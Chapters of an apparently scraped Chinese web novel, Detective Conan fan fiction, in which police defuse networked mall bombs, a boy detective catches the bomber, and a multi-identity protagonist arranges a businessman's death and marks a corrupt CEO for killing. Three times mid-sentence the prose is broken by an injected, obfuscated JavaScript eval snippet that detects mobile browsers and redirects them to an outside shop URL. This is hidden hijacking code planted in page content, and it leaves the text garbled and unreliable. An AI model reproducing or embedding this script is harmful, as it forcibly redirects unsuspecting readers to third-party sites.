萩原的目光落在□□上,眉头微微皱起。 这个□□的接线方式……很奇怪。 □□通常是压力触发、红外触发、遥控触发、定时触发等,但这个装置,除了定时器之外,还有一根额外的电线,连接着一个他不认识的模块。 那个模块很小,只有拇指大小,上面没有任何标识。 萩原研二没有贸然动手。他拿出手机,拍了几张照片,然后站起来,往四楼走去。 四楼是影院和电玩城。 他刚走到四楼楼梯口,对讲机里传来松田阵平的声音。 “萩原,我找到了一个。” “在哪里?” “地下停车场B区,靠墙的第三个柱子后面,用黑色塑料袋包着。”松田阵平的声音很低,但很稳,“炸弹结构不算复杂,但是——” “但是什么?” “这个□□,除了定时器,还有一个额外的模块。”松田阵平顿了顿,“我从来没见过这种设计。” 萩原研二心中了然。 “我这边也是。”他说,“你那个模块是什么样的?” “很小,没有标识。”松田阵平描述着,“看起来像是某种……我也不知道,信号接收器?但又不是普通的遥控引爆——如果是遥控,没必要再加定时器。” 还没等他思考出什么结论,他的视角余光就看见了那个藏蓝色的身影。 萩原研二:“!” 萩原研二立刻中断思路,快步追了上去。 电玩城里一片死寂。那些本该闪烁着灯光的游戏机全部处于待机状态,屏幕黑着,只有应急指示灯的微光勉强照亮一排排沉默的机器。投影仪投下的光影凝固在墙壁上,整个空间像一座被时间遗忘的游乐场。 随着距离的拉近,萩原研二终于看清了那个身影在干什么。 那人站在消防栓面前,估计已经停了很久了,因为消防栓的门已经被打开了,里面除了消防水带,还有一个黑色的塑料盒。 第二个炸弹。 而那个人正蹲在消防栓前,拿着对讲机似乎在说些什么,侧脸的线条在昏暗中若隐若现。 萩原研二推测应该是报告情况。 也许是商场的工作人员发现了异常? 得出了结论的他放松了些许警惕慢慢走过去,距离越来越近,那个人的轮廓也越来越清晰。 就在这时,那人似乎感知到了身后的动静,忽然转过头来。 昏暗的光线中,两张脸同时看清了对方。 “萩原……研二?”对面的人不确定地说。 萩原研二愣住了。 黑发,蓝眼睛,五官端正,表情平淡,看起来二十多岁,有着一张成熟的脸。 “你是……”萩原研二努力从记忆角落里翻出那个名字,“子安……观?” 子安观点了点头。 萩原研二松了口气,心里最后一丝担心商场工作人员可能是炸弹犯同伙的警惕也消失殆尽,但随即,另一个疑问浮上心头—— “你怎么在这儿?” 子安观看着他,沉默了一秒。 “刚才有个路人跟我说,看见有人在四楼鬼鬼祟祟的。”他的语气和表情都很平淡,完全不像在撒谎,“我就上来看看。” 萩原研二眨了眨眼,一时没有反应过来:“路人?” “嗯,一个穿灰衣服的中年男人,”子安观顿了顿,似乎在回忆,“很着急的样子。” 子安观说完,手中的对讲机那边传来了询问的声音,于是子安观抬手示意萩原研二安静一下,转过身,继续向对讲机那边的人汇报情况。 他的侧脸在应急灯的光线下显得很专注,好像那只是一个需要解决的普通问题,而不是随时可能夺走性命的□□。 两分钟后。 子安观终于汇报完,关闭了对讲机,冲萩原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305101|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 研二问:“你怎么会来这儿?” “……因为我是警察。”萩原研二无奈。 毕竟他和子安观不熟,双方见到对面的第一眼甚至都没想起对方的名字,所以记不得对方的职业也正常。 萩原研二询问完了现在的情况后,蹲下来,开始着手检查里面的炸弹。 和三楼那个一样,同样有一个拇指大小的神秘模块。 定时器上显示着的时间和三楼那个几乎同步,只是又过去了一分钟。 “你没动它吧?”萩原研二问,目光从炸弹移到了子安观的脸上。 “没有。”子安观说,终于转过头看向他,表情依旧平静,“我不会拆弹。” 萩原研二挑了挑眉。 他觉得面前的人神色过于平静了,没有恐惧,没有慌乱,甚至连一点紧张都没有。 萩原研二觉得自己应该继续专心检查炸弹,但身边这个人像是在看别人修水管一样的神情还是让他忍不住多看了两眼。 “你就这么信了?”出于对面前这个人的好奇,萩原研二还是多嘴问了一句,“你不害怕吗?” 子安观转过头,看着他。 那双蓝色的眼睛在黑暗中显得格外深邃,让人看不出里面藏着什么。 “为什么不信?”他说。 萩原研二被这个反问噎了一下。 为什么不信? 他能说出一百个理由,比如这个时间点出现在商场的人很可疑,陌生人的话不能轻信,万一那是炸弹犯本人想利用你呢? 但话到嘴边,他忽然意识到一个问题。 面前这个人,好像是一个精神病人来着。 萩原研二想起来,他几年前见过好几次对方,那时候子安观就给人一种说不出的违和感,后来打听才发现对方是一个精神病,不能用常理去思考。 这个认知让萩原研二的心情有些复杂,毕竟他擅长人际交往,也很多奇奇怪怪的人,但子安观这种是真的用另一种逻辑活着的精神病人,他还是第一次近距离接触。 “你一直都是这样?”萩原研二试探着问,语气尽量放轻,“别人说什么你都信?” 子安观沉默了一秒。 “差不多吧,”他说,声音很轻,却很清晰,“如果有人在我面前怀疑别人,那他一定是有原因的。” 萩原研二没说话,等着他继续。他知道有些人需要时间组织语言,尤其是子安观这样的人。 “而且——”子安观顿了顿,似乎在仔细斟酌每一个字,蓝色的眼睛微微垂下又抬起,“没有好人能承担起我杀错人的后果。” 萩原研二:“……?” 这句话的逻辑,他花了十秒钟都没反应过来,于是张了张嘴,一时不知道该说什么来接一下这句荒缪的话。 精神病人的思路,原来是这样的吗? 等了半天等到了这样莫名其妙的答案的萩原研二在心里默默感叹了一下。 11. 成功解决 萩原研二本来只是想检查一下炸弹,也没指望能发现什么其他线索,但这一次,他注意到了另一个细节。 他伸出手,碰了一下那个神秘的模块,模块表面是光滑的塑料,没有按钮,没有指示灯,什么都没有。但当他用手指按压时,感觉到模块背面有一个微微凸起的部分。 萩原研二的脑海里突然闪过一个念头。 他猛地站起来,没向还愣在原地的子安观解释些什么,快步跑向四楼的电玩城控制室,控制室的门锁着,他顾不上那么多,一脚踹开。 控制室里有十几个监控屏幕,显示着商场各个角落的画面,但现在大部分屏幕都是黑的。 萩原研二用还隐隐作痛的脚想都知道是那个犯人切断了监控系统。 只有几个屏幕还亮着。 萩原研二的目光落在其中一个屏幕上——那是地下停车场的画面。画面里,松田阵平正蹲在一根柱子旁边,低着头,似乎在观察什么。 但这不是重点。 重点是,地下停车场的那根柱子旁边,有一个不起眼的白色盒子,固定在柱子上。 那个盒子,和萩原研二在电玩城见过的无线信号中继器一模一样。 萩原研二不妙的猜测成立,瞳孔顿时骤缩。 他转身冲出控制室,一边跑一边打电话给松田阵平:“小阵平!你看看你旁边有没有信号中继器,就是那种白色的方盒子,固定在柱子上!” 他的声音因为奔跑而有些气喘,但每一个字都咬得很清楚。 对讲机里沉默了两秒,然后传来松田阵平的声音:“有。离我大概五米远,有一根柱子上装着。” 那两秒的沉默里,萩原研二几乎能想象出松田抬头扫视四周的样子。 “炸弹的那个模块,是信号接收器。”萩原研二的声音很急促,“但它不是用来接收遥控信号的,它是用来接收商场内部无线网络信号的!” 松田阵平愣了一下,随即反应过来。 商场里有覆盖全场的无线网络,用于收银系统、员工对讲机、监控系统,还有免费WiFi。这些无线网络依靠分布在各个角落的信号中继器来覆盖全场。 如果每个炸弹都配备一个无线信号接收器,那么—— “它们联网了。”松田阵平低声说,“这些炸弹互相连接,形成一个网络。” “对。”萩原研二赞同着说,反问,“你觉得这代表着什么?” 松田阵平沉默了一秒,然后说出了一个可怕的猜测。 “如果其中一个被拆除,或者被触发,其他四个会——” “会同步引爆。”萩原研二接过话头,“这不是五个独立的炸弹,这是一个爆炸网络。犯人用这种方式确保我们无法逐个拆除。只要动一个,其他四个一起炸。” 电话那头的松田阵平骂了一句脏话。 但萩原研二的脑子还在转。 不对。 如果只是这样,犯人的目的就太简单了。一个想让最多人死的疯子,不需要设计这么复杂的引爆网络,直接放五个定时炸弹就够了,或者直接遥控引爆。 他为什么要多此一举? 还没等萩原研二想出什么结论,伊达航的电话就打过来了。 萩原研二立刻接起。 “呃,萩原……”电话那头的语气古怪,带着一种说不出的复杂,“事情好像解决了。” 萩原研二一愣:“什么?” “有一个侦探找到了犯人,并且已经成功拿到了遥控器。”伊达航说,背景音里隐约传来嘈杂的人声,“我正在疏散民众,但好像不需要那么急了。” 萩原研二:“……” 啥? 萩原研二十分震惊。这次的炸弹事件怎么看怎么棘手,按照他的经验绝对是那种需要耗费大量脑力人力、最后在千钧一发之际才能解决的案子。他都做好了大干一场的准备,脑子里已经列好了几种可能的拆弹方案。 结果居然这么轻松地就被解决了? 他举着手机,一时没反应过来,整个人愣在原地。 “解决了?”他重复了一遍,声音里带着难以置信,“你是说,有人找到了犯人,拿到了遥控器,现在炸弹不会炸了?” “对。”伊达航的语气也很微妙,像是自己都不太相信,“你那边什么情况?” 萩原研二下意识地观察了一下周围。 他刚才正在回去找子安观和那个消防栓炸弹的路上,想让子安观先下去管理民众、维持秩序。 在知道炸弹联网后他就意识到绝对不能让任何一个人靠近炸弹,如果有人做了什么,极有可能导致其余四个炸弹一起爆炸。 结果没想到事情解决得这么快。他还没来得及告诉子安观远离炸弹,最好别碰。 但凡换任何一个普通人,萩原研二都不用说这么多。但对方是一个精神病人……萩原研二有点不敢赌对方会不会真因为某种原因而去碰炸弹。 “我这边……”他顿了顿,“炸弹还在。” “等会儿会有人来处理,你先下来吧。” 萩原研二挂断电话,站在原地愣了两秒。 他刚推理出这些炸弹联网、动一个就全炸的可怕真相,然后突然有人告诉他:犯人被抓了,遥控器被缴了,事情解决了? 这种感觉就像你刚发现对面是个世界级拳王,正准备全力以赴打一场硬仗,结果裁判过来宣布对方因为早饭吃坏了肚子弃权了。 太不真实了。 萩原研二深吸一口气,继续往前走,来到了他刚才离开的地方。 不管怎么说,事情解决了就是好事。 子安观还站在原地,正低头看着那个炸弹,表情平静得像在看一盆盆栽。 “子安先生,”萩原研二招呼了一声,“跟我下去吧,这边暂时安全了。” 子安观抬起头,看了他一眼,点点头,跟了上来。 两人一前一后走上楼梯。 一楼已经聚集了不少人,商场的工作人员,还有一小部分还没来得及疏散的顾客。伊达航正站在人群中央,在他旁边…… 萩原研二愣住了。 一个少年。 看起来也就十三四岁的样子,穿着简单的T恤和牛仔裤,脸上带着一种与年龄不符的镇定。黑色的短发有些凌乱,但那双眼睛格外明亮,正和伊达航说着什么。 “——犯人应该是商场电工,或者至少是有电工背景的员工。”少年的声音带着一点变声期的清脆,“因为只有这样才能解释为什么他能切断监控系统,同时对商场结构这么熟悉。” 伊达航点点头,在本子上记着什么,刚写完就注意到他们来了,抬手想打个招呼,看见萩原研二身后跟着的人之后又是一愣。 萩原研二知道伊达航在惊讶什么,于是没多问,走过去,随口说:“所以你是怎么发现他的?” “观察。”少年抬起头,目光扫过周围的众人,最后落在萩原研二身上——或者说,落在萩原研二身后的子安观身上。他看了子安观一眼,眼神里闪过一丝若有所思,但很快移开了。 “我在四楼电玩城。”少年开始讲述,“疏散广播响的时候,我正在那边等人。大部分人听到广播都往楼下走,但有一个人,他往楼上走。” 萩原研二的脚步顿住了。 “往楼上走?”伊达航收回打招呼的视线,继续向少年询问。 “对。”少年点点头,“五楼是办公区,平时不对顾客开放。那个男人穿着电工制服,背着工具包,看起来像是工作人员。但问题是——如果是工作人员,他应该知道发生了什么事,没必要往楼上走。而且他的表情……” 少年顿了顿,似乎在回忆那个瞬间。 “他的表情太放松了。”他说,“周围的人都慌慌张张往外走,只有他,像散步一样往楼上走。如果他是普通工作人员,听到炸弹威胁也应该紧张,如果他是来处理的电工,应该跑起来,而不是慢悠悠地走。所以他一定笃定炸弹不会伤到他。” “所以我跟着他上了五楼。”少年继续说,“他进了办公区,我看见他把自己的背包随手放在柜台上,然后离开了我的视线范围。我在外面等了一会儿,确认他不会马上回来,然后假装走错路推开门,看见他正站在角落里,对着那里的一台电脑操作什么。” “然后呢?”伊达航问。 “然后我就问他,是不是在操控炸弹。”少年的语气轻描淡写,像在说一件很普通的事,“他当然否认,但他的眼睛我这边瞟了一下,估计是想拿到他原本的工具包。我就直接说,你包里有炸弹的遥控器吧,要我拿出来看看吗。” 萩原研二:“……” 伊达航:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305102|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周围几个听到对话的工作人员也露出无语的表情。 萩原研二忍不住问:“你就不怕他有武器?” 少年侧过头看他,那双明亮的眼睛里带着明晃晃的自信:“我这么说是因为我心里有数。他离我很远,身上口袋没有枪的痕迹——牛仔裤口袋是扁的,上衣口袋也没有重物下垂。就算他有刀子,我也可以立刻关门阻挡他的脚步。储物间的门是向内开的,只要我关上,他至少要三秒钟才能推开,到时候我只要跑下楼,他就不敢跟上来了。” 逻辑清晰,考虑周全。 萩原研二忽然明白伊达航为什么用那种“我自己都不信”的语气了。 这个少年,太冷静了。 冷静得像一个经验丰富的刑警,而不是一个初中生。 “然后他就招了?”伊达航问。 “没有。”少年摇摇头,“他试图狡辩,说他是在检修设备。但笔记本电脑屏幕上开着的是一个网络监控界面——我瞥了一眼,上面有五个信号点,其中一个刚刚断开,显示‘离线’。” 听闻此言,原本因为事情解决还算放松的萩原研二顿时瞳孔收缩。 怎么回事?有谁拆弹了? 不对,他没有收到任何拆弹行动的通知。难道在其他两个炸弹安置的地方,有他们不知道的人在拆弹? “我当时不知道那是什么,”没等萩原研二震惊的多想什么,少年继续往下说下去,“但结合炸弹威胁,很容易猜到。所以我问他,这是炸弹的联网监控界面吧?他的表情就变了。” 少年顿了顿,语气里带着一点遗憾:“他扑过来想抢遥控器,但我躲开了。他撞到靠墙的储物架,被翻倒的储物架压在身下,然后他就放弃了。” “就这么简单?”萩原研二压下心中的惊疑不定,勉强问。 “就这么简单。”少年得意地点点头。 萩原研二又沉默了。 面前这个少年,仅凭观察一个人的行走方向,就顺藤摸瓜找到了犯人,拿到了遥控器,化解了整个危机。 但现在不是夸奖别人的时候。 有人没搞清情况私自拆弹,差点害死所有人。 在萩原研二思考是谁的时候,一直跟在他身后的子安观对少年说的话感觉还好,不像其他人那样惊讶。 听起来很简单,烟火师反走被带刀好杀了,很稀疏平常的事。 “你……”伊达航不知道萩原研二心里在想什么,心中没有那么多惊涛骇浪,他张了张嘴,问,“你怎么想到要跟着他的?” “因为我有自信,”少年说,语气平淡得像在解释一道数学题,“他看起来不像是多聪明的人。这种水平的犯人,不可能想出这么复杂的引爆方案。我推测他应该还有同伙,那个人才是真正策划这起事件、制作炸弹的人。” 伊达航很配合地问:“为什么会这么想?” 怎么还能通过眼力判断一个人聪不聪明? 少年的嘴角微微扬起一点弧度,似乎很满意这种对话模式,一脸的“你问到了点子上”。 他抬手指了一个方向。 伊达航顺着他的目光看过去。 那个犯人被两个警察看管着,低着头,看不清表情,但整个人透出一种颓丧的气息——佝偻的肩膀,呆滞的眼神,还有被问话时那副茫然的样子。 伊达航:“……” 确实看起来不太聪明的样子。 那种“我很倒霉并且计划失败了我也不知道原因”的表情,和“我策划了一场精密的爆炸案”的事完全对不上号。 “这次真是多亏了你了,小朋友。”伊达航看气氛差不多了,适时地说,他的语气里带着真诚的感谢,还有一丝后生可畏的感慨。 少年笑了一下,带着一点孩子气的骄傲,但又很快收敛起来:“我只是运气好。” 正在思考中的萩原研二看着这个少年,忽然想起一件事。 “你叫什么名字?”他问。 少年抬起头,那双明亮的眼睛里透着微光。此刻正是正午,阳光从商场的玻璃穹顶斜斜照下来,在他身上镀上一层金色的轮廓。 “工藤新一。”他说,“是个侦探,正在调查十七起连环伪枪击案。” 工藤新一。 萩原研二在心里默念了一遍这个名字,有一种奇怪的预感——他以后一定会再听见这个名字。 12. 苏格兰的考虑 疏散工作终于完成了。 萩原研二站在商场门口,看着排爆小组的人走进大楼,阳光照在玻璃幕墙上,反射出刺眼的光。 他眯着眼,看着那些穿着厚重防爆服的背影消失在门内,心里终于松了口气。 松田阵平从地下停车场上来,脸上带着一种复杂的表情——一半是“事情解决了真好”,一半是“居然被一个初中生抢先了”的不甘。 “那个小鬼,”松田阵平走过来,点了一根烟,“是什么来头?” “是个侦探,”萩原研二实话实说,“工藤新一,警视厅那个工藤优作的儿子。以后应该会经常见面。” 松田阵平听到工藤优作时瞬间了然,看了他一眼,没说话,只是深深吸了一口烟。 人群还在广场上三三两两地聚着。 警戒线外,记者的摄像机已经架了起来,主持人正在对着镜头整理仪容,随时准备直播。警车的红蓝灯光交替闪烁,在午后阳光下显得不那么紧迫了,反而有种安抚的意味。 萩原研二走神的目光越过这些嘈杂,最后落在角落里一个安静的身影上。 子安观正靠在一根柱子上,低头看着自己的脚下,不知道在想什么。 萩原研二一下子清醒了很多,犹豫了一下,还是走了过去。 “子安先生。” 子安观抬起头,那双蓝色的眼睛在阳光下显得不那么深邃了,反而透出一种淡淡的平静感。像是刚回过神来,又像是本来就没在想什么。 “你怎么还没走?”萩原研二问,“疏散完了,可以回家了。这边有我们处理就行。” 子安观沉默了一秒,目光越过萩原研二的肩膀,落在不远处的人群中。 “那个少年。” 萩原研二顺着他的目光看过去。工藤新一正站在警戒线旁边,和来了解情况的警察说着什么,表情带着一种少年人特有的意气风发。 “工藤新一。”萩原研二笑着说,“是个侦探。” “侦探啊……”子安观低声重复了一遍,语气里带着一种说不清的意味。 “是啊。”萩原研二感慨,“观察力很强,逻辑也很清晰。将来没准能成为一个很出名的侦探。” 子安观沉默了一会儿,目光还落在那个少年身上。 萩原研二原本还有些疑惑,随后便注意到,身边的人看向那个少年的眼神有些特别。 不是好奇,不是欣赏,也不是那种大人看小孩的包容,而是一种更复杂的东西。 像是在看一个很遥远的人,又像是在看一个很近的人。 “子安先生?”萩原研二试探着开口。 子安观收回目光,看向他。 “你认识他?” “不认识。”子安观说,语气很平淡,“只是觉得……这个年纪的侦探,很少见。” 萩原研二点了点头:“确实。不过他父亲是著名推理小说家,从小耳濡目染,所以很聪明吧。” 子安观没有再说话。 远处,工藤新一似乎感觉到了什么,转过头来往这边看了一眼,但他只是扫了一眼,就又被询问着的警察转移了注意力。 萩原研二拍了拍子安观的肩膀:“行了,回去吧。今天辛苦了。” 子安观点了点头,站直身子,往商场后门的方向走去。 萩原研二看着那个方向,莫名觉得有什么地方不对劲。 但他想了想,又想不出到底是什么。 大概是错觉吧。 他把这念头甩开,转身朝排爆组的方向走去。 …… 子安观走进更衣室的时候,里面空无一人。 他打开自己的储物柜,把那件藏青色的制服脱下来,叠好,放进去,然后换上自己的衣服。 柜门上还贴着不知道是谁写的纸条:“子安君,今天辛苦了。下午不用上班,回去休息吧。” 他把纸条撕下来,看了一秒,然后扔进垃圾桶。 走出商场后门的时候,他回头看了一眼。那栋大楼依然矗立在那里,玻璃幕墙反射着午后阳光,看起来和平时没什么两样。但门口拉着的警戒线、停着的警车、来来往往的警察,都在提醒着刚才发生了什么。 子安观收回目光,往地铁站走去。 路上很安静。这条小巷平时就没什么人,现在更是一片死寂。 走到一个没有监控的拐角处,他停了下来。 几秒后,从那个拐角处走出来的是另一个人——更年轻,更危险,五官完全不同。 他看了眼手机,没有任何消息。苏格兰没有找他,朗姆没有找他,琴酒也没有找他。 很好。 他随手打了辆车,报了安全屋附近的地址。出租车在午后的街道上穿行,他靠着椅背,闭上眼睛,让自己进入一种半休眠的状态。 二十分钟后,他在一个普通的居民区下了车,走进一栋不起眼的公寓楼。电梯停在七楼,他走出来,在某个门口停住,敲了三下。 门开了。 诸伏景光站在门口,手里拿着一本书,目光从他脸上扫过,让开身子。 夜神信走进去,客厅的窗帘拉着,光线昏黄,在墙上投下模糊的影子。空气里有淡淡的咖啡味,还有书页的味道。 “回来了?”诸伏景光的语气很平淡,像是随口一问。他走回沙发边坐下,把书放在膝盖上。 夜神信点了点头。 “饿不饿?冰箱里还有吃的。” 夜神信没有回答饿不饿的问题,而是直接说:“任务完成了。” 诸伏景光翻书的动作顿住了。 他抬起头,看着夜神信,眼神里闪过一丝明显的意外。 “完成了?”他重复了一遍,语气里带着一丝不确定,“山田茂的那个任务?” “嗯。” 诸伏景光把书合上,放在膝盖上。他的表情没什么变化,但夜神信能感觉到,他在观察自己。 “什么时候?” “今天上午。” 诸伏景光沉默了几秒。 他看了看窗外,阳光正好,下午两点多。 又看了看夜神信,这个新人表情平淡,衣服整洁,头发也不乱,完全不像刚执行完什么危险任务的样子。 “今天上午,”诸伏景光慢慢重复,语气微妙,“我记得你昨天晚上才拿到资料。” 夜神信听出了苏格兰话里的意思。 估计是在质疑他任务完成得太快,不是夸大其词就是在耍他。 但夜神信觉得,虽然他是昨天晚上才拿到的正式资料,可他昨天早上就已经知道任务内容了。 他可是整整一天都在费尽心思和山田茂的助理搭上线,又自己去查过资料——除了不知道山田茂的小儿子已经和女友私奔这一点——可以说从昨天早上就一直开始行动了。 只是因为苏格兰不知道这点,所以看起来行动效率有点高。 而且效率太高了难道有什么不好吗? 他忽然想到一个可能性——坏了,苏格兰该不会是那种看不得后辈比自己优秀的类型吧? 这个念头在脑子里转了一圈,又被他否定了。 不像,苏格兰给他的感觉不是那样的人。 那是什么? 两人对视着,因为诸伏景光微妙的问题加上夜神信的沉默,导致一种不妙的气氛在房间里蔓延,属于换任何一个人来都要尴尬得窒息而死的氛围。 但获得了“苏格兰”这个代号的诸伏景光显然不是一般人。 得不到回应的他干脆就直接观察起了面前的新人。 呼吸平稳,姿态放松,看不出像是在撒谎。 但那种放松里有一种奇特的警觉——像是某种警觉性很强的动物,即使趴着睡觉,耳朵也在捕捉周围的每一个动静。 诸伏景光突然有点相信面前这个新人真的把任务完成了。 可是这也太快了。 这个任务虽然不算特别复杂,但也绝不简单。 目标是山田茂——某大型企业的专务董事,在政商两界都有深厚的人脉。这种人身边总是有很多保护,出行有司机,回家有保镖,公司有保安。 组织给他的任务是拉拢,又不是杀人这种一枪解决的事。 要调查、要接近、要找到那个能控制他的弱点。 这通常需要几天甚至几周的时间——跟踪,收集信息,分析,制定计划,然后执行。 但这个人,只用了一天。 严格来说,不到一天。 他忍不住问:“你是怎么完成的?” 夜神信看着他,沉默了一秒。 “我找到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305103|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山田健一。” 诸伏景光一愣。 山田健一——山田茂的大儿子,因为谋杀未遂正在看护所的那个? “然后?” “我告诉他,他弟弟陷害了他。”夜神信的语气很平淡,像是在说今天天气不错,“他弟弟已经跑路了。只要他出去,山田茂的位置就是他的。” 诸伏景光的瞳孔微微收缩。 他瞬间明白了这个计划的全貌。 不是去抓山田茂的把柄,而是直接换一个人坐到那个位置上。 让山田健一出去,让他成为继承人,让他——成为组织可以控制的人。 而山田健一现在在监狱里,是一个绝望的、没有任何选择的人。他会抓住这根救命稻草,无论这根稻草来自谁。 等山田茂意外死亡,山田健一就会成为新的继承人,而他会永远记得,是谁把他从监狱里捞出来的。 想通了这一层的诸伏景光的心里顿时变得十分微妙。 一方面,他不得不承认,这个新人的能力超出了他的预期。能在这么短的时间内想到这种计划,并且成功执行,绝对不是普通人能做到的。 另一方面—— 太危险了。 这样的人,将来一定会成为核心成员。 他深吸一口气,站起来。 “我去确认一下。”他说。 夜神信点了点头,表情没有任何变化。 苏格兰从他身边走过,走进自己的房间,关上门。 门一关,他的表情就变了。 他靠在门板上,闭上眼睛,让自己的思绪稍微冷静一下。 然后他掏出手机,打开加密通讯软件,给那个熟悉的地址发去消息: 【山田茂的案子,帮我查一下。越快越好。】 对面很快回了一个句号。 诸伏景光把手机放在一边,坐在床边,开始等待。 时间一分一秒地过去。 他盯着天花板,脑子里却一刻也停不下来。 如果夜神信说的是真的,如果山田茂真的已经意外死亡,如果山田健一真的会被放出来,那这个新人的行动效率和任务完成度未免也太高了。 这种人,如果放在策划组,将来可能会成为组织的智囊。如果放在行动组,可能会成为琴酒那样的顶尖杀手。 说起来,在杀人这件事上,他的行动效率也算是蛮高的了,琴酒为什么会把他扔给情报组? 总不能是因为嫉妒吧? 诸伏景光在心中毫无愧疚感地开了个没品的玩笑。 还没等他为这个玩笑添砖加瓦,突然,手机震动了一下。 他拿起来看。 对面的消息很短,只有几行字: 【山田茂死了。今天上午十点左右,死因不明。他的小儿子山田和也失踪了,公司账户少了五千万。警方正在调查。】 【另外,有匿名材料寄到了几个媒体那里,说是山田和也陷害兄长、卷款跑路的证据。】 【山田健一的律师已经开始申请重审。】 诸伏景光盯着那几行字,沉默了很久。 死了。 真的死了。 所有的一切,都在按照新人说的那样发生。 诸伏景光把手机放下,靠在椅背上,看着窗外。 阳光照进来,在地板上投下一片暖黄色的光。很温暖,很明亮,很普通的一个下午。 但他的心里,却像压了一块石头。 诸伏景光站起来,在房间里来回走了几步。 他需要做出一个决定。 作为考官,他需要在任务结束后提交一份报告。报告里要对这个新人的能力、潜力、适合的方向做出评估。 按照夜神信这次的表现,他应该被推荐到行动组……真不是他开玩笑,这行动效率换作一个不知情的考官,早就把人推荐给行动组了。 不过诸伏景光知道夜神信是被琴酒扔给情报组的,所以就不可能再把他推荐给行动组。 他心里已经有了答案——策划组。 这样想着,他深吸一口气,走回床边,重新拿起手机,给那个地址又发了一条消息: 【帮我查一下夜神信的背景。越详细越好。尤其是他进组织之前的事。】 对面回了一个句号。 13. 阴谋家真正的任务完成 夜神信向苏格兰报告任务完成之后就无所事事了。 治安官那里放假了,自己这里也暂时没有任务。 这么一想,这应该是自己最近最闲的一次吧。 他坐在椅子上,窗外的阳光从窗帘缝隙里漏进来,在地板上切出一道细长的亮痕。门外的客厅里很安静,苏格兰已经出门了,不知道去做什么,整个安全屋就只剩下他自己的呼吸声。 闲。 太闲了。 闲得有点不习惯。 夜神信盯着地板上的亮痕看了几秒,忽然叹了口气,往椅背上一靠,仰头盯着天花板。 他其实不太习惯这种“什么都不用做”的状态。 治安官的身份需要他每天准时去商场上班,应付那些来来往往的顾客,偶尔还要应付一些自来熟的闲聊。阴谋家的身份需要他不停地收集信息、规划行动、完成任务。两个身份轮流切换,几乎没有停下来的时候。 现在突然闲下来,反而觉得浑身不对劲。 他盯着天花板发了会儿呆,忽然想起什么,调出系统面板,把目光落在那个熟悉的界面上。 【淘汰非模仿者成员(25/26)】 嗯,有这么快吗? 估计是之前治安官太过墨迹的任务进度让阴谋家产生了“杀人还是挺难的”的错觉,看见任务快完成了居然还有种不真实感。 要不怎么说人与人之间亦有差距呢,治安官四年掀不起什么浪花,阴谋家出生不到三个月业绩远超治安官。 这样想着,夜神信收回思绪,又看了一眼那个任务进度。 二十五个人,还差一个。 看上去好像快完成了,正好最近挺闲的,要不干脆完成一下? 他这么想着,顺手打开手机,开始翻新闻。 热搜榜上全是娱乐圈的八卦,他往下滑了滑,又往下滑了滑,终于在第二屏的位置看见了一条社会新闻: 【东京建设社长涉嫌贪污受贿,受害员工家属跳楼身亡】 他点进去看。 报道很长,但他只扫了几眼就看懂了。 这家建筑公司的社长,利用职务之便贪污了上亿的资金,导致公司资金链断裂,拖欠员工工资长达半年。一个跟了他十几年的老员工,因为拿不到工资,家里揭不开锅,老婆带着孩子跑了,老母亲病重无钱医治,最后那个人从公司的楼顶跳了下去。 而那位社长,据说正在和律师商量怎么脱罪,连一天拘留都没待过。 夜神信盯着那张社长的照片看了几秒——一个肥头大耳的中年男人,穿着笔挺的西装,对着镜头笑得一脸得意。 他点开系统面板,在通缉名单里输入了那个人的名字和职业。 【目标确认:佐川宫】 【身份:社长】 【是否通缉?】 他点了确认。 下一秒,任务进度条轻轻一跳。 【淘汰非模仿者成员(26/26)】 完成了。 然后,系统提示音在他脑海里响起。 【叮——任务完成。新马甲解锁中……】 【加载进度 10%……30%……70%……100%】 【新马甲加载完成。身份确认:神偷。】 夜神信愣了一下。 又来? 而且怎么又是模仿者?他明明是想抽一个神秘客来着。 毕竟抽完神秘客后三个阵营就算是集齐了,可以向系统讨要托管或精分模式了。 他还没来得及反应,系统那久违的声音就再次响起,带着一种诡异的兴奋: 【恭喜恭喜!第三个马甲解锁成功!】 它沉默了一下,似乎又在扫描新马甲的数据,随后才语气惊喜道: 【这是和怪盗基德有关系吗?还是说是一个实验体?】 它停顿了一会儿,似乎在思考,然后才说:【如果是黑方的马甲,我建议你赶紧和苏格兰搭上线,你这个马甲可以和苏格兰走男妈妈和脆弱乖小孩路线,不仅可以得到苏格兰的照顾,人气肯定也会——】 “停。”夜神信打断它,“你是不是又忘了我是任务式穿越者?” 系统的声音戛然而止。 空气沉默了一会儿。 